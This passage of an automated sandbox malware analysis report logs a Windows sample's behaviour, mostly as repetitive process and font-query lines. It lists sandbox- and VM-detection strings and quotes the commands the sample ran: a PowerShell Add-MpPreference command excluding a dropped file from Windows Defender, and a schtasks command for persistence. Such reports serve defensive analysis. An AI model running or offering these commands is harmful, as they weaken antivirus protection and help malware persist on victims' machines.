                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX

                Malware Analysis System Evasion

                barindex
                Yara detected AntiVM3
                Source: Yara matchFile source: 00000000.00000002.346224005.0000000002864000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000000.00000002.344442888.000000000260D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: Process Memory Space: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe PID: 3984, type: MEMORYSTR
                Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
                Source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 00000000.00000002.346224005.0000000002864000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 00000000.00000002.344442888.000000000260D000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: SBIEDLL.DLL
                Source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 00000000.00000002.346224005.0000000002864000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 00000000.00000002.344442888.000000000260D000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: KERNEL32.DLL.WINE_GET_UNIX_FILE_NAME
                Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
                Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exe TID: 3808Thread sleep time: -43731s >= -30000s
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exe TID: 4400Thread sleep time: -922337203685477s >= -30000s
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6948Thread sleep time: -2767011611056431s >= -30000s
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6812Thread sleep time: -922337203685477s >= -30000s
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exe TID: 6196Thread sleep time: -6456360425798339s >= -30000s
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exe TID: 1036Thread sleep count: 4364 > 30
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exe TID: 1036Thread sleep count: 3139 > 30
                Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeThread delayed: delay time: 922337203685477
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeThread delayed: delay time: 922337203685477
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 4615
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 512
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeWindow / User API: threadDelayed 4364
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeWindow / User API: threadDelayed 3139
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeThread delayed: delay time: 43731
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeThread delayed: delay time: 922337203685477
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeThread delayed: delay time: 922337203685477
                Source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 00000000.00000002.344442888.000000000260D000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: InstallPathJC:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
                Source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 00000000.00000002.344442888.000000000260D000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: vmware
                Source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 00000000.00000002.344442888.000000000260D000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: VMware SVGA II
                Source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 0000000F.00000002.526245210.00000000010D6000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
                Source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 00000000.00000002.344442888.000000000260D000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: VMWAREDSOFTWARE\VMware, Inc.\VMware Tools
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess token adjusted: Debug
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeMemory allocated: page read and write | page guard

                HIPS / PFW / Operating System Protection Evasion

                barindex
                Injects a PE file into a foreign processes
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeMemory written: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exe base: 400000 value starts with: 4D5A
                Adds a directory exclusion to Windows Defender
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\HksvOcmoc.exe
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\HksvOcmoc.exe
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\HksvOcmoc.exe
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\HksvOcmoc" /XML "C:\Users\user\AppData\Local\Temp\tmpCB43.tmp
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess created: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exe C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exe
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exe VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\ariali.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\arialbi.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\ARIALN.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\ariblk.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\ARIALNI.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\ARIALNB.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\ARIALNBI.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\calibri.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\consola.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\consolai.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\consolab.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\consolaz.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation
